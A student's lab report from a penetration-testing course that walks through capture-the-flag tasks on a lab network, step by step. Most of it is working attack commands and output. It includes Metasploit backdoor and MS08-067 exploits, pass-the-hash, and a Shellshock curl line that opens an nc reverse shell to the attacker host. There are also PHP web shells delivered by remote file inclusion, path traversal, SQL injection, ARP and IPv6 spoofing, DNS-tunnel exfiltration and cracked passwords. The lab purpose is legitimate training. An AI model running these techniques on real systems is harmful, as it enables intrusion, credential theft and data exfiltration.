ITC8070 Lab Report 15/16 Autumn Semester

Zhuge Chen IVCM132116 student66

#====Task completed date 2015-10-28====#

###1 Scanning

##1.1 Submit the list of alive IPs.

#Tool: nmap, setting 4 options: disabling DNS resolution to save time(-n), sending ICMP ECHO #REQUESTs(-PE), sending TCP SYN packets to ports(-PS[port list]), getting grepable output for IP #address filter(-oG -). awk filters IP addresses out, and tee writes the IP addresses to file.

```
root@kali66:~# nmap -n -PE -PS[21,22,25,80,443,445,5222,6667,3389,8080] 10.240.81.0/25 -oG - | awk '/Up$/{print $2}' | tee /root/TaskRecords/1Scanning/task1
```

#====Task completed date 2015-10-29====#

##1.2 Submit the IP address of the host running FreeBSD.

#Tool: nmap, setting 5 options: -n, treating all hosts as online(-Pn), detecting OS(-O), using the IP #list from file(-iL), -oG. awk filters the line with case-insensitive "freebsd".

```
root@kali66:~# nmap -n -Pn -O -iL /root/TaskRecords/1Scanning/task1 -oG - | awk '/[Ff][Rr][Ee][Ee][ ]?[Bb][Ss][Dd]/'
… …
Host: 10.240.81.47 ()  Ports: 8080/open/tcp//http-proxy///     Ignored State: filtered (999)    OS: FreeBSD 7.1-RELEASE - 9.0-CURRENT     Seq Index: 263          IP ID Seq: Incremental
… …
```

##1.3 Submit the IP address of the host vulnerable to Heartbleed an answer to this task.

#Tool: nmap, setting 6 options: -n, -Pn, setting specific port(-p), setting specific script for the #vulnerability scanning(--script), -iL, saving scanning result in local(-oN).

```
root@kali66:~# nmap -n -Pn -p 443 --script=ssl-heartbleed -iL /root/TaskRecords/1Scanning/task1 -oN /root/TaskRecords/1Scanning/task3
… …
Nmap scan report for 10.240.81.48
…
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL…
|     State: VULNERABLE
… …
```

##1.4 Get root level access to "METASPLOITABLE".

#Tool: nmap, setting 5 options: udp scan(-sU), -Pn, NetBOIS name retrieve(--script), -p, -iL. #Found the IP address of METASPLOITABLE, which is 10.240.81.50.

```
root@kali66:~# nmap -sU -Pn --script nbstat.nse -p137 -iL /root/TaskRecords/1Scanning/task1
… …
Nmap scan report for 10.240.81.50
…
Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
… …
```

#Tool: nmap, trying to find available vulnerabilities in this system.

root@kali66:~# nmap -A 10.240.81.50
#Noticed the ftp version is vsftpd 2.3.4, labelled as "ftp-anon: Anonymous FTP login allowed(FTP
#code 230)". Did a Google search and found out a possible module under MSF, named
#"vsftpp_234_backdoor". Launched this backdoor with tool MSF.
root@kali66:~# msfconsole
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > set rhost 10.240.81.50
msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > exploit -j
#Gained access to METASPLOITABLE. Got the flag.
msf > sessions -i 1
cd /root
less flag.txt
… …
9827864b7091133f0f3c8b58ca7acb58818fe03c
… …

#Additional comment: Later I noticed that there is a tool named armitage, from which I can also use
#the hail mary function to automatically scan available vulnerabilities of a specific host.

##1.5 Find an OPEN HTTP proxy from the 10.240.81.0/25 network.
#Tool: nmap, setting 7 options: -n, TCP SYN(-sS), probing open ports to determine service/version
#info(-sV), -Pn, -p, NSE script searching open proxy(--script), -oN.
root@kali66:~# nmap -n -sS -sV -Pn -p 3127,3128,8080,8888 --script http-open-proxy.nse -iL /root/
TaskRecords/1Scanning/task1 -oN /root/TaskRecords/1Scanning/task5
… …
Nmap scan report for 10.240.81.42
…
8080/tcp open http-proxy Squid http proxy 3.1.19
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION GET
|_http-server-header: squid/3.1.19
… …

#====Task completed date 2015-10-30====#

###2 Enumeration

##2.1 Find that IPv6 host. Submit the flag you get from SSH server's banner.
#Tool: nmap, setting 4 options: specifying the ethernet interface(-e), declaring an IPv6
#scanning(-6), IPv6 scanning(--script and --script-args).
root@kali66:~# nmap -e eth2 -6 --script=targets-ipv6-multicast-* --script-args=newtargets
… …
Pre-scan script results:
| targets-ipv6-multicast-echo:
|_ IP: fe80::beef:beef:beef:beef MAC: 00:50:56:a8:37:3c IFACE: eth2
… …
#Tool: nmap, doing a full-range port scan, setting 4 options: -6, -e, -Pn, specifying port range(-p).
root@kali66:~# nmap -6 -e eth2 -Pn -p 1-65535 fe80::beef:beef:beef:beef
… …
Not shown: 65530 closed ports
PORT STATE SERVICE
111/tcp open rpcbind

11111/tcp open vcenmap
22222/tcp open unknown
33445/tcp open unknown
56024/tcp open unknown
… …
#Tool: ssh, testing the unknown ports, setting 2 options: -6, specifying port(-p). Got flag from the #SSH banner.
root@kali66:~# ssh -6 -p 33445 fe80::beef:beef:beef:beef%eth2
… …
The falg is: 7c8494508630a98d0deb55972fc10dbf242eb2f4
… …

##2.2 Submit the fully qualified domain name of the VPN server.
#Tool: egrep, preparing the brute-force dictionary.
root@kali66:~/TaskRecords/2Enumeration# egrep vpn dnsbig.txt | tee newvnp.txt
root@kali66:~/TaskRecords/2Enumeration# cp /root/TaskRecords/2Enumeration/newvnp.txt /usr/share/dnsenum/
#Tried to get the intranet DNS server's IP. Found clue in my host's configure file.
wao@wao-VirtualBox:~$ cat /etc/resolv.conf
… …
nameserver 10.0.240.3
… …
#Verified 10.0.240.3 as the DNS server, by using nmap, setting 5 options: -sV, trying every single #probe(--version-all), faster time(-T4), -p and -oN.
root@kali66:~# nmap -sV --version-all -T4 -p 53 10.0.240.* -oN /root/TaskRecords/2Enumeration/task2
… …
Nmap scan report for 10.0.240.3
Host is up (0.00058s latency).
PORT   STATE SERVICE VERSION
53/tcp open domain dnsmasq 2.62
MAC Address: 00:50:56:A8:38:DD (VMware)
… …
#Tool: dnsenum, brute-forcing address with "vpn", setting 2 options, specifying dns server #(--dnsserver), setting the brute-force dictionary(-f).
root@kali66:~# cd /usr/share/dnsenum/
root@kali66:/usr/share/dnsenum# dnsenum --dnsserver 10.0.240.3 -f newvnp.txt usmosc.ex
… …
Brute forcing with newvnp.txt:
_____

vpnlinux.usmosc.ex.   240   IN   A   10.240.81.62
… …

#====Task completed date 2015-10-31====#

##2.3 Use SNMP to enumerate the usernames from Windows computer named ARIADNE. ##Submit the username starting with the letter "d".
#Tool: msf => snmp_login, scanning available hosts that is running SNMP, brute-forcing the #community strings of them.
root@kali66:~# msfconsole
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set RHOSTS 10.240.81.0/25

```
msf auxiliary(snmp_login) > set threads 240
msf auxiliary(snmp_login) > run
… …
[+] 10.240.81.36:161 - LOGIN SUCCESSFUL: read-only (Access level: read-only); Proof
(sysDescr.0): Hardware: x86 Family 6 Model 44 Stepping 2 AT/AT COMPATIBLE - Software:
Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)
[+] 10.240.81.15:161 - LOGIN SUCCESSFUL: monitor (Access level: read-only); Proof (sysDescr.
0): Linux dns1 3.2.0-68-generic-pae #102-Ubuntu SMP Tue Aug 12 22:23:54 UTC 2014 i686
[*] Scanned 127 of 128 hosts (99% complete)
[+] 10.240.81.66:161 - LOGIN SUCCESSFUL: read-write (Access level: read-write); Proof
(sysDescr.0): Hardware: Intel64 Family 6 Model 44 Stepping 2 AT/AT COMPATIBLE - Software:
Windows Version 6.2 (Build 9200 Multiprocessor Free)
[*] Scanned 128 of 128 hosts (100% complete)
[*] Auxiliary module execution completed
… …
#Tool: snmp-check, retrieving information from the Windows hosts. Tried 10.240.81.66 . 3 options:
#setting target(-t), setting version of SNMP(-v), setting the community string(-c).
root@kali66:~# snmp-check -t 10.240.81.66 -v 2 -c read-write
… …
[*] System information
 ---------------------------------------------------------------------------------------------

 Hostname              : ARIADNE
…
[*] User accounts
 ---------------------------------------------------------------------------------------------

 Admin
 Administrator
 Guest
 dorothy
 emma
 olivia
 sophia
… …
```

#====Task completed date 2015-11-07====#

###3 MITM

##3.1 Using MITM attack. Obtain credentials for accessing http://10.240.0.12.

#Extra reference video: https://www.youtube.com/watch?v=aDUWuoHdY14
#Tool: ettercap. Changed the configuration files.
root@kali66:~# nano /etc/ettercap/etter.conf
#Changed 4 lines.
#At the beginning, changed those 2 lines from

```
… …
ec_uid = 65534              # nobody is the default
ec_gid = 65534              # nobody is the default
… …
```

#to

```
… …
ec_uid = 0              # nobody is the default
```

ec_gid = 0 # nobody is the default
… …
#Then uncommented those 2 lines later regarding undir(under Linux, "#if you use iptables:" #section).
#Also changed the content of the ip_forward file.
root@kali66:~# nano /proc/sys/net/ipv4/ip_forward
#Changed 0 to 1
#Opened application: ettercap graphical
#Started unified sniffing on eth2. Clicked Menu->Host->scan for host
#In the host list:
#10.240.0.11 -> add to target 1
#10.240.0.12 -> add to target 2
#Rechecked content of the ip_forward file, because ettercap may overwrite this file silently.
#Clicked Menu->Mitm->ARP posioning -> check "sniff remote connections" box.
#The username and password were shown in console.
… …
HTTP: 10.240.0.12:80 -> USER: stars PASS: Ace123#Tiberious123 INFO: 10.240.0.12/
… …
#Got the flag by using 10.240.0.11's authentication.
… …
40145f529e9005b21827dcf1ea3a62c74914f801
… …
#Clicked Menu->Mitm->Stop mitm attack(s)
#Clicked Menu->Start->Stop sniffing

#Additional comment: Later in lecture(2015-11-10), a terminal approach was introduced and #recommended. Since I have achieved the objective by using GUI, in the future terminal approach #should be used in this kind of task.
#Keyword note: arpspoof

##3.2 Find the subpage for information about USMOSC undercover agents. Bypass HTTPS.
#Extra reference video: https://www.youtube.com/watch?v=OtO92bL6pYE
#Ensured that the ip forward function is running.
root@kali66:~# nano /proc/sys/net/ipv4/ip_forward
#Changed 0 to 1
#Enabled the traffic redirection.
root@kali66:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
#Launched mitm attack via etteracp graphical. Details are same as in task3.1.
#Tool: sslstrip. Enabled sslstrip, to force 10.240.0.11 to use HTTP, instead of HTTPS.
root@kali66:~# sslstrip -l 8080
#The username and password were shown in ettercap console.
… …
HTTP: 10.240.0.12:443 -> USER:sebulba PASS:podracer321#podracer321 INFO:10.240.0.12/login.php
… …
#Got the flag by using 10.240.0.11's authentication.
… …
3e66e6bbf3d358edaed897abf188b7b6cf1349f5
… …
#Stopped sslstrip.
#Clicked Menu->Mitm->Stop mitm attack(s)
#Clicked Menu->Start->Stop sniffing

#Additional comment: Later in lecture(2015-11-10), a terminal approach was introduced and #recommended. Since I have achieved the objective by using GUI, in the future terminal approach #should be used in this kind of task.
#Keyword note: ettercap -i eth2 -T -M arp -a /etc/ettercap/etter.conf /10.240.0.11/ /10.240.0.12/443
#After getting session information, Firefox tool "tamper data" is handy in session replacement.

#====Task completed date 2015-11-08====#

##3.3 Extract the flag from the communication between fe80::11 and fe80::12.
#Extra reference web page: http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
#Tool: nmap. Got the MAC of the two hosts(FE80::11 and FE80::12).
root@kali66:~# nmap -6 -e eth2 -Pn fe80::11
… …
MAC Address: 00:50:56:A8:77:49 (VMware)
… …
root@kali66:~# nmap -6 -e eth2 -Pn fe80::12
… …
MAC Address: 00:50:56:A8:0C:21 (VMware)
… …
#Tool: ifconfig. Got the MAC of my Kali VM's eth2 interface.
root@kali66:~# ifconfig
… …
eth2 Link encap:Ethernet HWaddr 00:50:56:a8:76:a8
… …
#Tool: scapy.
#Set up a fake NA message structure. Pretended to be FE80::11, in FE80:12's view.
>>> ether2=(Ether(dst='00:50:56:A8:0C:21', src='00:50:56:a8:76:a8'))
>>> ipv62=IPv6(src='fe80::11', dst='fe80::12')
>>> na2=ICMPv6ND_NA(tgt='fe80::11', R=0)
>>> lla2=ICMPv6NDOptDstLLAddr(lladdr='00:50:56:a8:76:a8')
#Send the fake NA message to FE80::12.
>>> sendp(ether2/ipv62/na2/lla2, iface='eth2', loop=1, inter =5)
#Tool: wireshark. Via eth2, observed the traffic from FE80:12. Got data from IVCMv6 packages.
… …
Greetings. Provide me the password to get the flag.
…
Password correct. The flag is 30560320021a6dea7974eb96d3e31b170bf845ca. Have a nice day.
… …
#Stopped scapy(stopped the sending of fake NA messages).

#Additional comment: Later in lecture(2015-11-10), another approach is introduced.
#Keyword note: atk6-fake_advertise6, ipv6 forwarding enable(echo 1 > /proc/sys/net/ipv6/conf/all/ #forwarding)

#Additional irrelevent notes:
#Set up fake NA message structure. Pretended to be FE80::12, in FE80:11's view.
#root@kali66:~# scapy
#>>> ether=(Ether(dst='00:50:56:A8:77:49', src='00:50:56:a8:76:a8'))
#>>> ipv6=IPv6(src='fe80::12', dst='fe80::11')
#>>> na=ICMPv6ND_NA(tgt='fe80::12', R=0)
#>>> lla=ICMPv6NDOptDstLLAddr(lladdr='00:50:56:a8:76:a8')
#Send the fake NA message to FE80::11.

#>>> sendp(ether/ipv6/na/lla, iface='eth2', loop=1, inter =5)
#Tool: wireshark. Via eth2, observed the traffic from FE80:11. Got data from IVCMv6 packages.
#… …
#12345qwertasdfgzxcvb
#… …

#====Task completed date 2015-11-18====#

###4 Various Vulnerabilities

##4.1 Gain access to https://10.240.0.31/index.php and submit the hash found from the ##page.
#Tool: nmap. Checked if target host is vulnerable to heartbleed attack.
root@kali66:~# nmap -p 443 --script ssl-heartbleed 10.240.0.31
… …
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
… …
#Tool: Msfconsole. Exploited target host with Heartbleed.
root@kali66:~# msfconsole
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > info
msf auxiliary(openssl_heartbleed) > set action DUMP
msf auxiliary(openssl_heartbleed) > set RHOSTS 10.240.0.31
msf auxiliary(openssl_heartbleed) > show advanced
msf auxiliary(openssl_heartbleed) > set VERBOSE true
msf auxiliary(openssl_heartbleed) > run
#Ran several times. Searched dumps. Found password. Found flag.
… …
username=user3&password=Mae8iethahqu
…
The flag is: 7f116b8eb3fd3a788a0102d5a0e2e3003d430642
… …

##4.2 Search for a line "flag is" inside the file named flag and submit the hash.
#Extra reference video: https://www.youtube.com/watch?v=uUEXFRpYn6Q
#Extra reference video: https://www.youtube.com/watch?v=v-kkCSpMJlY
#Extra reference web page: http://drops.wooyun.org/papers/3268
#Extra reference web page: http://xuqq999.blog.51cto.com/3357083/844797
#Tool: nmap. Checked the shellshock vulnerability of target host.
root@kali66:~# nmap -sV -p- --script http-shellshock 10.240.0.32
… …
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
… …
#Tool: nc. In Terminal A, opened a listening port, waiting for connection.
root@kali66:~# nc -lvnp 4444
… …
listening on [any] 4444 …
… …

#Tool: curl. Taking advantage of shellshock. In Terminal B, opened a nc session for the previous #listening process.
root@kali66:~# curl -H 'User-Agent: () { :;}; /bin/bash -c "nc -e /bin/bash 10.240.0.166 4444"' http://10.240.0.32/cgi-bin/time.cgi
#Tool: locate. In Terminal A, got connection to the target host. Looked for the file named "flag".
… …
listening on [any] 4444 …
connect to [10.240.0.166] from (UNKNOWN) [10.240.0.32] 42171
… …
locate flag
… …
/usr/include/i386-linux-gnu/asm/processor-flags.h
…
/usr/share/tools/flag
…
/var/lib/dkms/open-vm-tools/2012.05.21/build/vsock/shared/compat_page-flags.h
… …
#Tool: egrep. In Terminal A, got the flag by filtering the file's content.
egrep "flag is" /usr/share/tools/flag
… …
The flag is: d1c09cd7461166af55639b31a888abe49d20f187
… …
#Closed the nc listening session.

#====Task completed date 2015-11-25====#

###5 CREDENTIAL ATTACKS

##5.1 Submit the password hash of (operating system) user "john" as an answer.
#Extra reference video: https://www.youtube.com/watch?v=1Rp5_QysRpE
#Tool: nmap. Scanned the ports and services of the target.
root@kali66:~# nmap -A 10.240.0.20
… …
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
… …
root@kali66:~# msfconsole
msf > search proftpd
msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > show options
msf exploit(proftpd_133c_backdoor) > set RHOST 10.240.0.20
msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
msf exploit(proftpd_133c_backdoor) > set LHOST 10.240.0.166
msf exploit(proftpd_133c_backdoor) > exploit
… …
[*] Started reverse handler on 10.240.0.166:4444
[*] Sending Backdoor Command
[*] Command shell session 1 opened (10.240.0.166:4444 -> 10.240.0.20:35963) at 2015-11-24 22:22:03 -0500
… …
whoami
… …
root

… …
#Got the answer.
cat /etc/shadow
… …
john:1EQQ7cS5y$hI62TAKIHDAngt.ioDxxu1:16761:0:99999:7:::
… …

##5.2 Submit the password of "john" as an answer to this task.
#Tool: john. Copied john's line from /etc/shadow to /root/task51s. Used john for brute-force.
root@kali66:~# john --format=md5crypt --wordlist=/usr/share/john/password.lst /root/task51s
… …
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) 1 [MD5 128/128 SSE2 4x3])
No password hashes left to crack (see FAQ)
… …
#The plain-text password was shown.
root@kali66:~# john --show /root/task51s
… …
john:winniethepooh:16761:0:99999:7:::
…
1 password hash cracked, 0 left
… …

#Additional irrelevent notes:
#root@kali66:~# john task51s
#This command will also simply work.

#====Task completed date 2015-11-26====#

##5.3 Submit the password hash of "Administrator" account as an answer to this task.
#Extra reference video: https://www.youtube.com/watch?v=ihodUmYxee4
#Tool: msfconsole. By using module windows/smb/ms08_067_netapi, got the admin hash.
root@kali66:~# msfconsole
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.240.0.21
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.240.0.166
msf exploit(ms08_067_netapi) > exploit -j -z
msf exploit(ms08_067_netapi) > sessions -i 1
meterpreter > hashdump
… …
Administrator:500:aad3b435b51404eeaad3b435b51404ee:
2239a98dc042622076f3f8d438b66dfb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:45dbbf3893d21c9ac5e88689fe7b337b:12b69ab7a00728f6f949ee6c88c47ff0:::
Selena:1004:aad3b435b51404eeaad3b435b51404ee:775ba027f91a9fc0dabc4d12d3a9cc69:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:
9eedef6700b7c7f233cf372ee1bb513c:::
… …
meterpreter > exit

##5.4 Find the flag from our friend John's desktop on 10.240.0.22.
#Extra reference video: https://www.youtube.com/watch?v=ihodUmYxee4

#Tool: msfconsole.
msf exploit(ms08_067_netapi) > use windows/smb/psexec
msf exploit(psexec) > set RHOST 10.240.0.22
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 10.240.0.166
msf exploit(psexec) > set SMBUSER Administrator
msf exploit(psexec) > set SMBPASS aad3b435b51404eeaad3b435b51404ee:
2239a98dc042622076f3f8d438b66dfb
msf exploit(psexec) > exploit -j -z
msf exploit(psexec) > sessions -i 2
meterpreter > cd c:\\Users\\John\\Desktop
meterpreter > ls
meterpreter > cat TheFlag.txt
… …
067055b59fa672cd2acf9fb2abf289d09a6f0b90
… …
meterpreter > exit
msf exploit(psexec) > quit

##5.5 Send the flag that you find from the Contacts page of portal.usmosc.ex.
#Extra reference video: https://www.youtube.com/watch?v=ZVngjGp-oZo
#Tool: hydra. Brute forced the password.
root@kali66:~# hydra -l usmosc -P /usr/share/john/password.lst http://portal.usmosc.ex
… …
[80][http-get] host: portal.usmosc.ex login: usmosc password: good-luck
1 of 1 target successfully completed, 1 valid password found
… …
#Passed the authentication. Got the flag from Contacts tab.
… …
The flag is: c68f09dd21bc6ef2505b6bd5aef955c2e58ee62e
… …

#====Task completed date 2015-12-12====#

###6 DNS

##6.1 Build a tunnel between itsad_firewalled_ws_XX and your Kali VM. Exfiltrate a file ##/home/student/Documents/secret.data. Submit the flag, using gethash binary downloaded ##from https://cma.ex/images/gethash.
#Extra reference page: http://code.kryo.se/iodine/README.html
#Tool: iodine and iodined.
#On machine 10.0.240.166, set up iodined daemon, waiting for the client.
root@kali66:~# iodined -f 10.0.0.1 student66.ex
… …
Opened dns0
Setting IP of dns0 to 10.0.0.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain student66.ex
… …
#Using rdesktop and VMware vSphere Client, got access to machine 10.240.82.166
#(ITSAD_firewalled_ws_66). set up iodine.
student@firewalled-ws66:~$ sudo iodine -f -r -T 10.240.88.166 student66.ex

… …
Sending DNS queries for student66.ex to 10.240.89.254
…
Setting IP of dns0 to 10.0.0.2
Setting MTU of dns0 to 1130
Server tunnel IP is 10.0.0.1
…
Connection setup complete, transmitting data.
… …
#On firewalled workstation, transmitted secret.data to my Kali VM via SSH.
student@firewalled-ws66:~$ scp /home/student/Documents/secret.data root@10.0.0.1:/root
#On my Kali VM, downloaded gethash and gave it execution permission. Got the flag.
root@kali66:~/labfolder# chmod +x gethash
root@kali66:~/labfolder# ./gethash /root/secret.data
… …
The flag is: 047060d395e953d2cc641737052eed841cada394
… …
#Terminated the iodine sessions on both my Kali VM and firewalled work station.

#====Task completed date 2015-12-13====#

###7 PATH TRAVERSAL

##7.1 Find a path traversal vulnerability. Log in over the SSH using the stolen key. Get flag.
#Extra reference book: The Web Application Hackers Handbook, Dafydd Stuttard, Marcus Pinto,
#Page 375
#Extra reference page: http://news.softpedia.com/news/How-to-Use-RSA-Key-for-SSH-Authentication-38599.shtml
#Extra reference page: http://stackoverflow.com/questions/9270734/ssh-permissions-are-too-open-error
#Noticed that the application tries to sanitise user input. All the "../" was erased before the input
#string get processed. Tried to bypass this by using "…..//", and it worked.
http://10.240.0.60/?report=....//....//....//....//home/tom/backup/id_rsa
#Copied the leaked information to /root/.ssh/id_rsa. Changed the permission.
root@kali66:~# chmod 400 .ssh/id_rsa
root@kali66:~# ssh -v tom@10.240.0.60
… …
debug1: Next authentication method: publickey
debug1: Trying private key: /root/.ssh/id_rsa
debug1: Authentication succeeded (publickey).
Authenticated to 10.240.0.60 ([10.240.0.60]:22).
… …
#Got user level access to 10.240.0.60. Got the flag.
tom@reports:~$ cat backup/flag.txt
… …
539c2d023a8535ae9ee84236fce1d1c854d9
… …

##7.2 Gain root level access to 10.240.0.60. Submit the flag from file /root/flag.txt.
#Extra reference page: https://www.exploit-db.com/exploits/15704/
#According to the kernel information. Googled "2.6.35-22 privilege escalation". Found exploit.
root@kali66:~/task7# scp 15704.c tom@10.240.0.60:/home/tom/backup
#As user tom, complied and ran the exploit. It worked. Got the flag.

tom@reports:~/backup$ gcc 15704.c -o getroot
tom@reports:~/backup$ ./getroot
… …
[*] Resolving kernel addresses…
…
[*] Triggering payload…
[*] Got root!
… …
whoami
… …
root
… …
cat /root/flag.txt
… …
9d21be34a0dbc4e61c40a8ddba58c0a4b063de13
… …

#====Task completed date 2015-12-20====#

###8 Code INJECTION

##8.1 Exploit "Basic Networking Tools" application to execute operating system commands.
#Extra reference page: http://www.theunixschool.com/2012/03/15-different-ways-to-display-contents.html
#Extra reference video: https://www.youtube.com/watch?v=ZQFpwTHMrxM
#Tool: w3af. After many failures of manual code injection attempts, used w3af to scan the
#application. Profile used is "audit_high_risk(default built in)". Located the vulnerability, got the flag.
#In traceroute section, inputed `cut -c 6- /etc/flag.txt`.
http://10.240.86.30/cgi-bin/net-tools?cmd=traceroute&addr=%60cut+-c+6-+%2Fetc%2Fflag.txt%60
… …
Results: traceroute from ThisHost to `cut -c 6- /etc/flag.txt`
/usrsbin/traceroute `cut -c 6- /etc/flag.txt` Extra arg
`f6105722a626034ad609101d049d9afd776b8335' (position 3, argc 3)
… …

#====Task completed date 2015-12-24====#

##8.2 Get into private area which requires authentication. Find the flag from one of the files.
#Extra reference page: http://securityxploded.com/remote-file-inclusion.php
#Got hints from Mr. Kaur Kasak on 2015-12-23 via chat channel. RFI should be used in this case.
#Started apache server on my kali machine.
root@kali66:/var/www# /etc/init.d/apache2 start
#Copied a php script into /var/www/html, named shell.txt .

```
<?php
echo "<script>alert(U O!);</script>";
echo "Run command: ".htmlspecialchars($_GET['cmd']);

system($_GET['cmd']);
?>
```

#Modified the URL to include the script on my host.
http://10.240.0.59/index.php?page=http://10.240.0.166/shell.txt?
#Got access to the web application's shell as user www-data. Found the flag.

http://10.240.0.59/index.php?cmd=cat%20/var/www/usmosc-tech/blueprints/destroyer_B001.txt&page=http://10.240.0.166/shell.txt?

… …
Run command: cat /var/www/usmosc-tech/blueprints/destroyer_B001.txt The flag is: 6c69e97b2bf4d2fd2073c11ef466d698f63fe366
… …

#====Task completed date 2015-12-27====#

##8.3 Bypass RFI filtering. Obtain the password hash of admin from the table ##user_accounts.

#Used three hints in this task.
#Extra reference page: https://lists.emergingthreats.net/pipermail/emerging-sigs/2012-October/020728.html
#Extra reference video: https://www.youtube.com/watch?v=ng4WyknsC7s&list=WL&index=7
#Although below steps don't include the usage of the writeable /job_applications/ folder, I did
#research and downloaded a few shells into the folder, such as c99.php, c100.php, reverse/bind
#shell, weevely(tool) and so on. As I probably searched in wrong resources, those shells did not
#work very well. After that I tried to use the simple shell which includes command in url, it worked.
#Modified the php shell used in Task8.2

```
<?php
system($_GET['cmd']);

?>
```

#Tool: base64. Base64 encoded this php shell.
root@kali66:~# base64 shell

… …
PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cgo/Pgo=
… …

#Tool: curl. Got the database configuration by using data://stream wrapper.
root@kali66:~# curl "http://10.240.0.62/index.php?cmd=cat%20/var/www/usmosc-tech/config.php&page=data:text/plain;base64,PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cgo/Pgo="

… …
$config['db_username'] = 'root';
$config['db_password'] = 'Fai2kee5ruerei';

$config['db_name'] = 'usmosc-tech';
… …

#Tool: curl. Using the credentials, dumped the database. Got the flag.
root@kali66:~# curl "http://10.240.0.62/index.php?cmd=mysqldump%20-u%20root%20--password=Fai2kee5ruerei%20usmosc-tech&page=data:text/plain;base64,PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cgo/Pgo="

… …
LOCK TABLES `user_accounts` WRITE;
/*!40000 ALTER TABLE `user_accounts` DISABLE KEYS */;
INSERT INTO `user_accounts` VALUES
(1,'admin','4cf9917ed358b1d6eea8ff9699b74632','0000-00-00 00:00:00','0000-00-00 00:00:00'),
(2,'bill.gates','0b90408666ab41166815e30ccc27dcf2','0000-00-00 00:00:00','0000-00-00 00:00:00');
… …

#====Task completed date 2015-12-28====#

##8.4 Bypass file uploading filter. Locate a file named the_flag.txt on the system and read it.
#Investigated the file uploading function by using Burp and manual file uploading attempts. There
#seems to be three blacklist checks: server-side file extension check, server-side file content
#check, client-side content-type check.
#Modified the previous shell as below, renamed it as task84.php.524 to bypass server-side file
#extension check.

```
<?php
system($_GET['cmd']);
?>
```

#The first line was intentionally left empty to bypass server-side file content check. The default
#content-type can pass the client-side content-type check.
#Successfully uploaded task84.php.524 like a normal user, without using any proxy tool.
#Found this file in http://10.240.0.63/job_applications, and clicked it to open the shell.
#Tool: locate. Located the flag file. Got the flag.
http://10.240.0.63/job_applications/task84.php.524?cmd=locate%20the_flag.txt

… …
/var/opt/secret/the_flag.txt
… …

http://10.240.0.63/job_applications/task84.php.524?cmd=cat%20/var/opt/secret/the_flag.txt

… …
The flag is: 119721e7671070cff1d5d5fb0e50eeaac195b07c
… …

###9 SQLI

##9.1 Get access to the C&C application which is protected by form based authentication.
#Manually tested popular SQLI login bypass methods. ‘ or 1=1# worked. Got access and the flag.

… …
The flag is: 238c8001415deee61fda85094183b62e37fb70c2
… …

#====Task completed date 2015-12-29====#

##9.2 Get access to the version 2 of C&C system and find the flag.
#Got hints from Mr. Kaur Kasak on 2015-12-29 via chat channel. LIMIT 1 should be used to bypass
#the filter which only allows one row output.
#Used \’ to bypass the filter of ‘.
#\’ or 1=1 LIMIT 1# worked.

… …
The flag is: 137984bdfb2ad49ef24f7123f33a4138fee15a2f
… …

#====Task completed date 2016-01-15====#

##9.3 Try to compromise the application, get access to the projects database and find ##information about the project "Aquarius".
#Used two hints in this task.
#According to hints, the parameter named article_author is vulnerable. Got the database structure
#by using UNION SELECT clause. Tried and found the right number of UNION columns is 4.
http://10.240.86.13/articles.php?article_author=6/**/UNION/**/ALL/**/SELECT/**/
NULL,NULL,NULL,CONCAT(TABLE_SCHEMA,CHAR(46),TABLE_NAME,CHAR(46),COLUMN_N

AME)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('INFORMATION_SCHEMA','MYSQL')

… …
usmosc.projects.id

usmosc.projects.nr

usmosc.projects.code_name

usmosc.projects.classification

usmosc.projects.content

usmosc.projects.beginning

usmosc.projects.last_update
… …

#According to the projects database's structure, queried the nr and corresponding code_name. Got #the number of project "Aquarius".

http://10.240.86.13/articles.php?article_author=6/**/union/**/all/**/select/**/code_name,code_name,code_name,nr/**/from/**/projects/**/--%20

… …
Strange lights in the sky... what were the UFOs?
2010-11-01

P-581-LMAFD-7132-UFO
Starlight

P-132-5555-ACS
Rainbow

P-211-7132
Serpo

P-001-8792
Moonraker

3014687a7d4ffb9feb1d149298ddce274128f89b
Aquarius
… …

#Additional comment: In the last URL, the "/**/--%20" is not compulsory, since there is no further #logic condition to bypass.

##9.4 Get the secret code for the system uranus from the database named secret and table ##named codes.

#Used one hint in this task.

#According to the process of previous task, assumed the secret.code has a structure as bellow.

… …
secret.codes.id

secret.codes.system

secret.codes.code
… …
#According to the hint, UNION SELECT still works. The article search box is the entry point. Tried
#and found the right column number is 5. Queried and got the code.
